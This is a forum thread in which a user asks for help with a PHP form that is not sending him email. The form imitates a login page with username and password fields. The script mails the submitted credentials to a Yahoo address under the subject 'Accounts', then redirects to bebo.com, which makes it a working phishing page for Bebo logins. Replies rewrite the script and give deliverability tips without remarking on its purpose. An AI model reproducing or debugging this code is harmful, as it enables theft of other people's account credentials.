Jump to content

Email Form Data


Aitken91

Recommended Posts

Hi, I'm making a website that has a form. When the user clicks the submit button i need it to email me the data.

 

Currently everything works, except i am not getting the emails.

 

The web page code is:

<form method="post" action="sendmail.php">

        <p align="right">Email / Username:

            <input name="email" type="text" />

         

          Password: 

          <input name="message" type="password" />

        <input name="submit" type="submit" value="Log In" />

    </p>

        </form>

 

And the php (sendmail.php) scrips code is:

<?

  $email = $_REQUEST['email'] ;

  $message = $_REQUEST['message'] ;

 

  mail( "mybo_prox@yahoo.co.uk", "Accounts",

    $message, "From: $email" );

  header( "Location: http://www.bebo.com" );

?>

 

I know little PHP, and would be grateful for any help.

Aitken91

Link to comment
Share on other sites

Try doing it this way:

 

<?
  $to = "mybo_prox@yahoo.co.uk";
  $subject = "Accounts";
  $email = $_REQUEST['email'] ;
  $message = $_REQUEST['message'] ;

  mail( $to, $subject, $message, "From: $email" );
  header( "Location: http://www.bebo.com" );
?>

Link to comment
Share on other sites

Yahoo tends to filter mail from servers as junk, especially if no mail headers are passed. Check the junk email folder and look at www.php.net/mail the mail function to figure out a set of headers that will work for you.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.